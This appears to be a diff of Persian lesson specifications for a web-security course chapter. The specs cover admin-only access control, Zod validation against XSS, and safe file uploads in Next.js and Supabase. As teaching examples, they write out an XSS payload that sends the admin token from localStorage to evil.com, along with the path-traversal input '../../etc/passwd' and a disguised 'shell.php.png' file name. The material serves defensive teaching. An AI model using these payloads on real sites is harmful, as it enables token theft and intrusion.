- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||||
- **زمان تقریبی مطالعه:** ۱۸ دقیقه
|
||||
- **پیش‌نیازهای مستقیم:** `L11.3` (مدیریت Secretها و کلیدهای API)
|
||||
|
||||
---
|
||||
|
||||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||||
- [ ] **درک کند (Understand):** تفاوت بنیادین میان «احراز هویت» (Authentication: تو کیستی؟) و «مجوز دسترسی» (Authorization: اجازه انجام چه کاری داری؟) را شرح دهد.
|
||||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** آسیب‌پذیری مهلک اعتماد به ظاهر رابط کاربری (مخفی کردن دکمه حذف بدون بررسی سرور) را ارزیابی کرده و خطرات حملات IDOR / BOLA را بشناسد.
|
||||
- [ ] **به‌کار ببندد (Apply):** سامانه کنترل دسترسی مبتنی بر نقش (Role-Based Access Control - RBAC) را در پورتفولیو پیاده کند تا فقط ایمیل اختصاصی ادمین به بخش‌های ویرایش و پنل سئو دسترسی داشته باشد.
|
||||
- [ ] **ایجاد کند (Create):** یک میدل‌ویر مستحکم در Next.js (`middleware.ts`) به همراه گیت‌های امنیتی در تمام Server Actionها بسازد که درخواست‌های غیرمجاز مستقیم cURL را در نطفه خفه کند.
|
||||
|
||||
---
|
||||
|
||||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||||
|
||||
### آنچه باید پوشش داده شود (In-Scope):
|
||||
1. **داستان مسافری که کارت سوار شدن داشت اما به کابین خلبان رفت!**
|
||||
* چرا صرف لاگین کردن با گیت‌هاب نباید به یک کاربر اجازه حذف پروژه‌های شما را بدهد؟
|
||||
2. **کالبدشکافی تفاوت AuthN در برابر AuthZ:**
|
||||
* Authentication (هویت‌سنجی): کاربر ثابت می‌کند خودش است (ورود با رمز یا OAuth).
|
||||
* Authorization (سطح دسترسی): سیستم تصمیم می‌گیرد که آیا این کاربر اجازه حذف، ویرایش یا مشاهده دارد یا خیر.
|
||||
3. **آسیب‌پذیری کلاسیک: مخفی کردن دکمه در فرانت‌اند بدون گیت سرور:**
|
||||
* نوشتن شرط `{isAdmin && <Button>حذف</Button>}` در ظاهر زیباست، اما نفوذگر با یک درخواست ساده شبکه (`fetch` یا cURL) اندپوینت را صدا می‌زند!
|
||||
4. **پیاده‌سازی دو لایه دفاعی در Next.js:**
|
||||
* لایه اول: میدل‌ویر لبه (`middleware.ts`) برای هدایت سریع کاربران عادی از مسیر `/admin/*` به صفحه لاگین.
|
||||
* لایه دوم: گارد سرور اکشن (Server Action Guard) در ابتدای تمام توابع ایجاد، ویرایش و حذف پروژه:
|
||||
```typescript
|
||||
const { data: { user } } = await supabase.auth.getUser();
|
||||
if (!user || user.email !== process.env.ADMIN_EMAIL) {
|
||||
throw new Error("دسترسی غیرمجاز: شما ادمین نیستید!");
|
||||
}
|
||||
```
|
||||
5. **معماری نقش‌ها (RBAC) در پروژه پورتفولیو:**
|
||||
* نقش `admin`: دسترسی کامل به ویرایش پورتفولیو، تغییرات سئو و مشاهده تراکنش‌ها.
|
||||
* نقش `user`: مشاهده وضعیت رزروهای مشاوره خود.
|
||||
* نقش `visitor`: مشاهده پروژه‌های عمومی و ارسال پیام در فرم تماس.
|
||||
6. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
|
||||
* کال‌اوت بنفش (`<details class="violet">`): آسیب‌پذیری IDOR (Insecure Direct Object References)؛ وقتی کاربر با تغییر شناسه در آدرس (`/orders/42` به `/orders/43`) سفارش دیگری را می‌بیند!
|
||||
* کال‌اوت سبز (`<details class="green">`): سرعت خارق‌العاده Next.js Edge Middleware که قبل از لود شدن کامپوننت، دسترسی را اعتبارسنجی می‌کند.
|
||||
* کال‌اوت قرمز (`<details class="red">`): هرگز به متغیرهای کلاینتی برای تشخیص ادمین بودن اعتماد نکنید؛ همه چیز در فرانت‌اند قابل دستکاری در Console است.
|
||||
|
||||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||||
- ساختارهای سازمانی پیچیده Multi-tenant با ده‌ها گروه کاربری.
|
||||
- استانداردهای اداری انطباق SOC2 و HIPAA.
|
||||
|
||||
---
|
||||
|
||||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||||
|
||||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||||
| :--- | :--- | :--- |
|
||||
| Authentication (AuthN) | احراز هویت | فرآیند راستی‌آزمایی و اثبات هویت ادعاشده توسط یک کاربر در سیستم |
|
||||
| Authorization (AuthZ) | کنترل و تفویض دسترسی | فرآیند تعیین اینکه کاربر احراز هویت شده مجاز به دسترسی به چه منابعی است |
|
||||
| RBAC | کنترل دسترسی مبتنی بر نقش | مدل امنیتی که دسترسی‌ها را بر اساس نقش‌های تعریف‌شده (ادمین، کاربر عادی) اعطا می‌کند |
|
||||
| Middleware Guard | نگهبان لایه میانی | کدی که پیش از رسیدن درخواست به صفحات، توکن و وضعیت دسترسی را بررسی و فیلتر می‌کند |
|
||||
| IDOR / BOLA | ارجاع مستقیم ناامن به شیء | باگ امنیتی که به کاربر اجازه می‌دهد با دستکاری شناسه عددی، داده‌های دیگران را مشاهده یا ویرایش کند |
|
||||
| Client-Side Security Fallacy | توهم امنیت در کلاینت | باور غلط مبنی بر اینکه مخفی کردن یک دکمه یا صفحه در مرورگر مانع هک شدن آن می‌شود |
|
||||
|
||||
---
|
||||
|
||||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||||
|
||||
1. **تصویر کاور درس:** `images/cover.png`
|
||||
* **موضوع:** گیت بازرسی امنیتی نئونی با دو درب مجزا: یکی تایید چهره (هویت) و دیگری اسکن اثر انگشت اتاق فرمان (دسترسی ادمین).
|
||||
2. **تفاوت مفهومی هویت در برابر مجوز دسترسی:** `images/authn-vs-authz-diagram.png`
|
||||
* **موضوع:** اینفوگرافیک مقایسه‌ای: کارت پرواز (شما مسافر این هواپیمایی هستید) در برابر مجوز ورود به کابین خلبان (فقط کادر پرواز).
|
||||
3. **جریان محافظت دو لایه از روت‌های پنل مدیریت:** `images/two-layer-route-protection.png`
|
||||
* **موضوع:** فلوچارت امنیتی: درخواست کاربر $\rightarrow$ لایه ۱: میدل‌ویر مسیر `/admin` $\rightarrow$ لایه ۲: گارد اعتبارسنجی ادمین داخل Server Action $\rightarrow$ تغییر در دیتابیس.
|
||||
4. **تله امنیتی پنهان‌سازی ظاهری دکمه‌ها:** `images/client-side-hidden-button-trap.png`
|
||||
* **موضوع:** کاریکاتور نفوذگری که از پنجره پشت سرور دکمه حذف را با دستور cURL صدا می‌زند در حالی که در ظاهر سایت دکمه مخفی شده است.
|
||||
|
||||
---
|
||||
|
||||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||||
|
||||
1. **تیتر اصلی:** `# احراز هویت و کنترل دسترسی (Auth & Access)؛ تفکیک نقش‌ها و محافظت از روت‌ها`
|
||||
2. **مقدمه:** چرا هر کاربری که وارد سایت می‌شود نباید بتواند پروژه‌های شما را پاک کند و تفاوت حیاتی کیستی و دسترسی چیست؟
|
||||
3. **جدول کاور درس**
|
||||
4. **استعاره مهمان هتل و کلید مستر مدیر:**
|
||||
* همه مسافران هتل کلید دارند، اما فقط مدیر می‌تواند درب انبار و گاوصندوق را باز کند.
|
||||
5. **توهم خطرناک امنیت در فرانت‌اند (Security through Obscurity):**
|
||||
* چرا مخفی کردن لینک `/admin` در منو، امنیتی در حد قرار دادن کلید خانه زیر پادری است!
|
||||
6. **پیاده‌سازی سپر دفاعی اول: میدل‌ویر Next.js (`middleware.ts`):**
|
||||
* کد تمیز خواندن سشن سوپابیس و فیلتر کردن روت‌های حساس.
|
||||
7. **پیاده‌سازی سپر دفاعی دوم: گیت‌های احراز هویت داخل Server Actions:**
|
||||
* نوشتن تابع کمکی `verifyAdminSession()` و فراخوانی آن در ابتدای تمام عملیات‌های جهش داده (Mutations).
|
||||
8. **جعبه پرامپت طلایی: امن‌سازی تمام روت‌ها و اکشن‌ها با ایجنت:**
|
||||
* پرامپت دقیق:
|
||||
> «تمام Server Actionها و Route Handlerهای پروژه پورتفولیو را بازبینی کن. مطمئن شو که در ابتدای هر تابعی که داده‌ای را در دیتابیس تغییر می‌دهد، هویت کاربر بررسی شود و تنها در صورتی که ایمیل کاربر با `ADMIN_EMAIL` مطابقت داشته باشد اجازه ادامه داده شود. در غیر این صورت یک خطای ۴۰۱ یا ۴۰۳ استاندارد صادر کن.»
|
||||
9. **دستورات چندسکویی برای تعریف ایمیل ادمین در متغیرهای محیطی:**
|
||||
* منوی کشویی سه‌گانه برای ویندوز، مک و لینوکس:
|
||||
- Windows (PowerShell):
|
||||
```powershell
|
||||
Add-Content .env.local "`nADMIN_EMAIL=your-secure-email@gmail.com"
|
||||
```
|
||||
- macOS (Terminal):
|
||||
```bash
|
||||
echo "ADMIN_EMAIL=your-secure-email@gmail.com" >> .env.local
|
||||
```
|
||||
- Linux (Bash):
|
||||
```bash
|
||||
echo "ADMIN_EMAIL=your-secure-email@gmail.com" >> .env.local
|
||||
```
|
||||
10. **باکس نکته Quera (`<details class="violet">`):** ماجرای باگ وحشتناک IDOR؛ چطور بررسی نکردن مالکیت رکوردها به هکرها اجازه دیدن فاکتورهای سایرین را می‌دهد.
|
||||
11. **باکس هشدار Quera (`<details class="red">`):** هرگز از `localStorage` برای ذخیره کردن نقش کاربر (`role: admin`) استفاده نکنید؛ هر کاربر می‌تواند با کلید F12 این مقدار را تغییر دهد!
|
||||
12. **باکس رضایت‌بخش Quera (`<details class="green">`):** امتحان لاگین با یک اکانت دیگر و مشاهده پیام مسدود شدن دسترسی در پنل ادمین.
|
||||
13. **جمع‌بندی درس‌نامه:** مجهز شدن به سیستم دفاعی ضد نفوذ دسترسی؛ ورود به حوزه اعتبارسنجی ورودی‌ها با Zod و مقابله با حملات XSS در درس بعدی.
|
||||
|
||||
---
|
||||
|
||||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||||
- [ ] تفاوت مفهومی و کاربردی Authentication و Authorization تبیین گردد.
|
||||
- [ ] استراتژی دو لایه محافظت (میدل‌ویر + گیت سرور اکشن) پیاده‌سازی و تشریح شود.
|
||||
- [ ] باگ امنیتی پنهان‌سازی ظاهری دکمه‌ها و خطر IDOR به شکل ملموس توضیح داده شود.
|
||||
- [ ] پرامپت ایمن‌سازی اکشن‌ها برای ایجنت به همراه کدهای استاندارد ارائه گردد.
|
||||
@@ -0,0 +1,127 @@
|
||||
# مشخصات درس‌نامه: اعتبارسنجی همه‌جانبه ورودی‌ها با Zod و مقابله با حملات XSS
|
||||
- **شناسه در سیلابس:** `L11.5`
|
||||
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||||
- **زمان تقریبی مطالعه:** ۱۸ دقیقه
|
||||
- **پیش‌نیازهای مستقیم:** `L11.4` (احراز هویت و کنترل دسترسی)
|
||||
|
||||
---
|
||||
|
||||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||||
- [ ] **درک کند (Understand):** قانون طلایی امنیت «هرگز به ورودی‌های کاربر اعتماد نکن» (Never Trust User Input) را تحلیل کرده و چرایی ناکافی بودن اعتبارسنجی سمت کاربر را درک کند.
|
||||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** نحوه عملکرد حملات تزریق اسکریپت (Cross-Site Scripting - XSS) و تفاوت فرار خودکار کاراکترها در React را با خطرات ویژگی مرگبار `dangerouslySetInnerHTML` ارزیابی کند.
|
||||
- [ ] **به‌کار ببندد (Apply):** کتابخانه استاندارد **Zod** را برای اعتبارسنجی ساختارمند فرم‌های پورتفولیو (فرم تماس، فرم رزرو مشاوره و فرم تنظیمات سئو) در لایه سرور پیاده‌سازی نماید.
|
||||
- [ ] **ایجاد کند (Create):** یک اسکیمای جامع Zod بسازد که خطاهای ورودی را به زبان فارسی روان استخراج کرده و به کلاینت بازگرداند تا هم تجربه کاربری عالی و هم امنیت تضمین شود.
|
||||
|
||||
---
|
||||
|
||||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||||
|
||||
### آنچه باید پوشش داده شود (In-Scope):
|
||||
1. **قانون بنیادین امنیت وب: «تمام کاربران مشکوک هستند مگر خلافش ثابت شود!»:**
|
||||
* چرا حتی یک فرم ساده تماس می‌تواند با ورودی‌های چند مگابایتی یا کدهای جاوااسکریپت مخرب، سیستم را فلج کند؟
|
||||
2. **کالبدشکافی اعتبارسنجی دوگانه (Dual-layer Validation):**
|
||||
* اعتبارسنجی فرانت‌اند: صرفاً برای تجربه کاربری نرم (UX) و جلوگیری از کلیک‌های بیهوده.
|
||||
* اعتبارسنجی بک‌اند (سرور اکشن): سد نفوذناپذیر واقعی؛ چون هر کسی می‌تواند بدون باز کردن سایت، با دستور cURL دیتا بفرستد.
|
||||
3. **معرفی کتابخانه مقتدر Zod در TypeScript:**
|
||||
* تعریف اسکیما (Schema) برای فرم تماس:
|
||||
```typescript
|
||||
import { z } from "zod";
|
||||
export const ContactSchema = z.object({
|
||||
name: z.string().min(2, "نام باید حداقل ۲ حرف باشد").max(50),
|
||||
email: z.string().email("فرمت ایمیل نامعتبر است"),
|
||||
phone: z.string().regex(/^09\d{9}$/, "شماره موبایل باید با ۰۹ شروع شده و ۱۱ رقم باشد"),
|
||||
message: z.string().min(10, "پیام باید حداقل ۱۰ کاراکتر باشد").max(1000),
|
||||
});
|
||||
```
|
||||
* استفاده از `safeParse()` در Server Action برای مدیریت تمیز خطاها بدون کرش کردن سرور.
|
||||
4. **کالبدشکافی حملات XSS (Cross-Site Scripting):**
|
||||
* حمله چیست؟ نفوذگر در فیلد پیام می‌نویسد: `<script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script>`.
|
||||
* اگر این پیام در پنل ادمین بدون ضدعفونی رندر شود، توکن ادمین در یک میلی‌ثانیه سرقت می‌شود!
|
||||
5. **سپر دفاعی React در برابر XSS:**
|
||||
* چگونه React به صورت خودکار کاراکترهای خطرناک مانند `<` و `>` را به کاراکترهای بی‌خطر متنی (Entity Escaping) تبدیل می‌کند.
|
||||
* چرا ویژگی `dangerouslySetInnerHTML` نام «خطرناک» را یدک می‌کشد و چه زمانی باید از `DOMPurify` استفاده کرد.
|
||||
6. **دستورات چندسکویی برای نصب Zod:**
|
||||
* نصب در منوهای کشویی ویندوز، مک و لینوکس: `npm install zod`.
|
||||
7. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
|
||||
* کال‌اوت بنفش (`<details class="violet">`): استخراج خودکار تایپ‌های تایپ‌اسکریپت از اسکیما با `z.infer<typeof Schema>` (همگام‌سازی ابدی کد و اعتبارسنجی).
|
||||
* کال‌اوت سبز (`<details class="green">`): اعتبارسنجی یکپارچه با نمایش پیام‌های خطای فارسی درست زیر فیلدها.
|
||||
* کال‌اوت قرمز (`<details class="red">`): هرگز متنی را که کاربر فرستاده مستقیماً داخل تابع `eval()` یا ویژگی `dangerouslySetInnerHTML` قرار ندهید.
|
||||
|
||||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||||
- مباحث پیچیده Content Security Policy (CSP) در لایه وب‌سرورهای Nginx.
|
||||
- اعتبارسنجی فرمت فایل‌های باینری و تصاویر (در درس بعدی، ۱۱.۶، به صورت عمیق بررسی می‌شود).
|
||||
|
||||
---
|
||||
|
||||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||||
|
||||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||||
| :--- | :--- | :--- |
|
||||
| Input Validation | اعتبارسنجی ورودی‌ها | سنجش انطباق داده‌های ارسالی کاربر با فرمت، طول و قوانین امنیتی از پیش تعیین‌شده |
|
||||
| XSS (Cross-Site Scripting) | اسکریپت‌نویسی بین‌سایتی | حمله سایبری ناشی از تزریق کدهای جاوااسکریپت خرابکار به صفحات و اجرای آن در مرورگر سایر کاربران |
|
||||
| Zod | کتابخانه اسکیمای زد | ابزار محبوب ساخت و اعتبارسنجی تایپ‌سیف اسکیمای داده‌ها در محیط تایپ‌اسکریپت |
|
||||
| Sanitization | ضدعفونی داده‌ها | پاک‌سازی تگ‌ها و کاراکترهای بالقوه خطرناک از متن ورودی پیش از ذخیره در دیتابیس |
|
||||
| Character Escaping | فرار کاراکترها | تبدیل خودکار نمادهای معنادار HTML (مانند < و >) به کدهای نمایشی متنی برای خنثی‌سازی اسکریپت‌ها |
|
||||
| Stored XSS | اسکریپت‌نویسی ماندگار | خطرناک‌ترین نوع XSS که در آن کد مخرب در دیتابیس ذخیره شده و برای تمام بازدیدکنندگان بعدی اجرا می‌شود |
|
||||
|
||||
---
|
||||
|
||||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||||
|
||||
1. **تصویر کاور درس:** `images/cover.png`
|
||||
* **موضوع:** فیلتر تصفیه نئونی درخشان که ورودی‌های فرم را اسکن کرده و نمادهای اسکریپت و بدافزار قرمز را به کلمات سبز و ایمن تبدیل می‌کند.
|
||||
2. **سازوکار حمله Stored XSS در پنل ادمین:** `images/stored-xss-attack-flow.png`
|
||||
* **موضوع:** اینفوگرافیک حمله: نفوذگر کد جاوااسکریپت تزریق می‌کند $\rightarrow$ در دیتابیس ذخیره می‌شود $\rightarrow$ ادمین پیام را باز می‌کند $\rightarrow$ اسکریپت در مرورگر ادمین اجرا شده و کوکی را سرقت می‌کند.
|
||||
3. **معماری اعتبارسنجی لایه سرور با Zod:** `images/zod-validation-flow.png`
|
||||
* **موضوع:** فلوچارت: دریافت دیتا $\rightarrow$ ارزیابی با اسکیما $\rightarrow$ در صورت خطا: بازگشت پیام فارسی $\rightarrow$ در صورت تایید: اجرای اکشن و ذخیره امن.
|
||||
4. **نمایش پیام‌های خطای اعتبارسنجی فارسی در فرم:** `images/persian-zod-error-feedback-ui.png`
|
||||
* **موضوع:** اسکرین‌شات از فرم تماس با حاشیه‌های قرمز زیبا و هشدارهای دقیق فارسی زیر هر اینپوت.
|
||||
|
||||
---
|
||||
|
||||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||||
|
||||
1. **تیتر اصلی:** `# اعتبارسنجی همه‌جانبه ورودی‌ها با Zod و مقابله با حملات XSS`
|
||||
2. **مقدمه:** اگر به آب لوله‌کشی شهر بدون تصفیه‌خانه اعتماد ندارید، چرا باید به ورودی‌های کیبورد غریبه‌ها در اینترنت اعتماد کنید؟
|
||||
3. **جدول کاور درس**
|
||||
4. **استعاره گیت بازرسی فرودگاه:**
|
||||
* بازرسی اشعه ایکس چمدان‌ها قبل از ورود به هواپیما؛ حذف سلاح‌ها و مواد اشتعال‌زا (کدهای مخرب).
|
||||
5. **کالبدشکافی یک حمله واقعی XSS در پروژه پورتفولیو:**
|
||||
* نوشتن تگ `<script>` در پیام کارفرما و سناریوی سرقت توکن احراز هویت ادمین.
|
||||
6. **سلاح شماره یک: اعتبارسنجی تایپ‌سیف با Zod:**
|
||||
* ساخت فایل `lib/validations.ts`.
|
||||
* تعریف اسکیمای فرم تماس، رزرو و تنظیمات سئو.
|
||||
7. **پیاده‌سازی در Server Action با تابع `safeParse`:**
|
||||
* کد نمونه تمیز و تفکیک‌شده برای بررسی داده‌ها پیش از ارسال به Supabase یا کاوه‌نگار.
|
||||
8. **جعبه پرامپت طلایی: امن‌سازی تمام فرم‌ها با Zod توسط ایجنت:**
|
||||
* پرامپت دقیق:
|
||||
> «من کتابخانه Zod را نصب کرده‌ام. لطفاً برای تمام فرم‌های پروژه من (فرم تماس، رزرو مشاوره و ویرایش پروژه در ادمین) اسکیمای اعتبارسنجی دقیق بنویس. فیلدهای متن باید حداقل و حداکثر طول داشته باشند، شماره موبایل با رجکس بررسی شود و خطاهای نامعتبر بودن به زبان فارسی روان برگردانده شوند. سپس این اسکیما را در Server Action مربوطه اعمال کن.»
|
||||
9. **دستورات چندسکویی نصب Zod:**
|
||||
* منوی کشویی سه‌گانه برای ویندوز، مک و لینوکس:
|
||||
- Windows (PowerShell):
|
||||
```powershell
|
||||
npm install zod
|
||||
```
|
||||
- macOS (Terminal):
|
||||
```bash
|
||||
npm install zod
|
||||
```
|
||||
- Linux (Bash):
|
||||
```bash
|
||||
npm install zod
|
||||
```
|
||||
10. **باکس نکته Quera (`<details class="violet">`):** جادوی `z.infer`؛ چگونه یک بار نوشتن اسکیما، تایپ‌های تایپ‌اسکریپت را همزمان در سرتاسر پروژه تضمین می‌کند.
|
||||
11. **باکس هشدار Quera (`<details class="red">`):** استفاده از `dangerouslySetInnerHTML` در فریم‌ورک‌های مدرن باید به موارد فوق‌العاده نادر محدود شده و حتماً با پکیج `DOMPurify` خنثی شود.
|
||||
12. **باکس رضایت‌بخش Quera (`<details class="green">`):** وارد کردن کدهای عجیب و غریب در فرم و دیدن آرامش‌بخش پیام خطای قرمز فارسی و متوقف شدن حمله در پشت دروازه Zod.
|
||||
13. **جمع‌بندی درس‌نامه:** مجهز شدن به سیستم دفاعی اسکیمای ورودی؛ ورود به مبحث حساس امنیت دیتابیس و اعتبارسنجی آپلود فایل‌ها در درس بعدی.
|
||||
|
||||
---
|
||||
|
||||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||||
- [ ] چرایی اعتبارسنجی سمت سرور و خطرات عدم اعتبارسنجی تبیین شود.
|
||||
- [ ] مکانیزم حمله XSS و تفاوت فرار خودکار React با ویژگی‌های خطرناک تشریح گردد.
|
||||
- [ ] نحوه استفاده کاربردی از کتابخانه Zod به همراه اسکیمای فرم تماس و پیام‌های خطای فارسی ارائه شود.
|
||||
- [ ] دستورات نصب پکیج در تب‌های چندسکویی ویندوز، مک و لینوکس درج شده باشد.
|
||||
@@ -0,0 +1,103 @@
|
||||
# مشخصات درس‌نامه: امنیت دیتابیس (RLS) و پروتکل امن آپلود فایل در Supabase Storage
|
||||
- **شناسه در سیلابس:** `L11.6`
|
||||
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||||
- **زمان تقریبی مطالعه:** ۱۸ دقیقه
|
||||
- **پیش‌نیازهای مستقیم:** `L11.5` (اعتبارسنجی همه‌جانبه ورودی‌ها با Zod)
|
||||
|
||||
---
|
||||
|
||||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||||
- [ ] **درک کند (Understand):** چرا دریافت فایل از کاربر حساس‌ترین و خطرناک‌ترین قابلیت در هر وب‌اپلیکیشن است و چگونه فایل‌های مخرب می‌توانند کل سرور یا کلاینت‌ها را آلوده کنند.
|
||||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** خطرات امنیتی جعل پسوند فایل، حملات پیمایش مسیر (Path Traversal)، بمب‌های حجمی (Zip Bombs)، و اسکریپت‌های پنهان‌شده در تصاویر SVG را ارزیابی کند.
|
||||
- [ ] **به‌کار ببندد (Apply):** باکت‌های ذخیره‌سازی ابری در Supabase Storage را با اعمال محدودیت حجم (حداکثر ۵ مگابایت)، لیست سفید پسوندها (MIME Types) و سیاست‌های کنترل دسترسی (Storage RLS) ایمن‌سازی نماید.
|
||||
- [ ] **ایجاد کند (Create):** یک تابع آپلود تصویر پروژه بسازد که نام فایل را با استفاده از UUID تصادفی بازنویسی کند تا خطر بازنویسی فایل‌های سرور و تزریق مسیر به صفر برسد.
|
||||
|
||||
---
|
||||
|
||||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||||
|
||||
### آنچه باید پوشش داده شود (In-Scope):
|
||||
1. **آسیب‌پذیری‌های کشنده در ماژول آپلود فایل:**
|
||||
* آپلود بدافزارها و فایل‌های اجرایی تحت نام‌های جعلی (مثلاً `shell.php.png` یا فایلی با اسکریپت اجرایی).
|
||||
* خطر پنهان تصاویر SVG: از آنجا که SVG یک کد متنی XML است، می‌تواند تگ‌های `<script>` حاوی XSS ماندگار را در خود پنهان کند!
|
||||
* حملات پر کردن دیسک و تحمیل هزینه‌های سنگین ابری با آپلود فایل‌های چندصد مگابایتی.
|
||||
2. **پروتکل ۴ لایه برای آپلود امن در پروژه پورتفولیو:**
|
||||
* لایه ۱: اعتبارسنجی نوع فایل (MIME Type Whitelist): پذیرش انحصاری `image/jpeg`، `image/png`، `image/webp` و `application/pdf`.
|
||||
* لایه ۲: محدودسازی سفت‌وسخت حجم (File Size Limit): مسدود کردن فایل‌های بالاتر از ۵ مگابایت در فرانت‌اند و در لایه سرور.
|
||||
* لایه ۳: پاک‌سازی نام فایل و جایگزینی با UUID تصادفی: تبدیل `my-resume.pdf` به `f47ac10b-58cc-4372-a567-0e02b2c3d479.pdf` برای جلوگیری از Path Traversal (`../../`).
|
||||
* لایه ۴: سیاست‌های امنیتی باکت در Supabase (Storage Policies): خواندن عکس‌ها برای عموم آزاد (`SELECT`)، اما افزودن یا حذف عکس‌ها فقط برای کاربر ادمین احراز هویت شده مجاز است.
|
||||
3. **بازبینی امنیت دیتابیس (SQL Injection و RLS):**
|
||||
* چرا استفاده از متدهای رسمی Supabase SDK شما را به صورت پیش‌فرض در برابر SQL Injection ایمن می‌کند (Parameterized Queries).
|
||||
* چک‌لیست نهایی اطمینان از روشن بودن RLS روی تمام جداول دیتابیس (`projects`, `site_settings`, `consultation_bookings`).
|
||||
4. **جعبه پرامپت طلایی: ساخت ماژول آپلود امن با ایجنت:**
|
||||
* پرامپت ایجاد کامپوننت آپلود با پیش‌نمایش، اعتبارسنجی سایز، و ذخیره در باکت Supabase.
|
||||
5. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
|
||||
* کال‌اوت بنفش (`<details class="violet">`): حمله پیمایش دایرکتوری (Path Traversal Attack) و چگونگی نفوذ خرابکاران با نام فایل‌هایی مثل `../../etc/passwd`.
|
||||
* کال‌اوت سبز (`<details class="green">`): تبدیل خودکار عکس‌ها به فرمت مدرن WebP با کتابخانه Next.js برای کاهش حجم تا ۷۰٪.
|
||||
* کال‌اوت قرمز (`<details class="red">`): خطر آپلود SVG توسط کاربران غریبه؛ هرگز باکت عمومی را بدون اعتبارسنجی به روی فایل‌های SVG باز نگذارید.
|
||||
|
||||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||||
- راه‌اندازی آنتی‌ویروس‌های کلاود مانند ClamAV برای اسکن باینری.
|
||||
- مدیریت دیسک‌های فیزیکی سرورهای خودمیزبان (Self-hosted NFS).
|
||||
|
||||
---
|
||||
|
||||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||||
|
||||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||||
| :--- | :--- | :--- |
|
||||
| File Upload Vulnerability | آسیب‌پذیری آپلود فایل | رخنه امنیتی ناشی از دریافت و ذخیره فایل‌های مخرب یا بسیار حجیم بدون اعتبارسنجی |
|
||||
| MIME Type | شناسه نوع رسانه | استاندارد جهانی مشخص‌کننده ماهیت و قالب فایل در وب (نظیر image/png) |
|
||||
| Path Traversal | پیمایش غیرمجاز مسیر | حمله دستکاری نام فایل با نمادهای ../ برای دسترسی یا بازنویسی فایل‌های سیستمی سرور |
|
||||
| Storage Bucket Policy | سیاست امنیتی باکت ذخیره‌سازی | قوانین کنترلی در سطح فضای ابری برای تعیین اینکه چه کسانی اجازه دانلود یا آپلود فایل دارند |
|
||||
| Parameterized Queries | کوئری‌های پارامتریزه | روش استاندارد اجرای دستورات دیتابیس که داده‌های کاربر را از دستورات SQL جدا و ایمن می‌کند |
|
||||
| SVG Script Injection | تزریق اسکریپت در فایل SVG | نوعی حمله XSS که از قابلیت اجرای جاوااسکریپت در ساختار برداری وکتور SVG سوءاستفاده می‌کند |
|
||||
|
||||
---
|
||||
|
||||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||||
|
||||
1. **تصویر کاور درس:** `images/cover.png`
|
||||
* **موضوع:** جعبه امنیتی دیجیتال با اسکنر اشعه ایکس که فایل‌های ورودی را اسکن کرده و بدافزارهای درون عکس را متوقف می‌کند.
|
||||
2. **چرخه ۴ لایه محافظت از آپلود فایل:** `images/four-layer-file-security-flow.png`
|
||||
* **موضوع:** فلوچارت لایه‌های دفاعی: انتخاب فایل $\rightarrow$ ۱) بررسی پسوند/MIME $\rightarrow$ ۲) بررسی سایز < 5MB $\rightarrow$ ۳) بازنویسی نام به UUID $\rightarrow$ ۴) اعتبارسنجی RLS باکت.
|
||||
3. **تنظیمات سیاست‌های باکت در داشبورد Supabase Storage:** `images/supabase-storage-policies-setup.png`
|
||||
* **موضوع:** اسکرین‌شات از بخش Storage Policies در سوپابیس با تفکیک دسترسی Public Read و Admin Insert/Delete.
|
||||
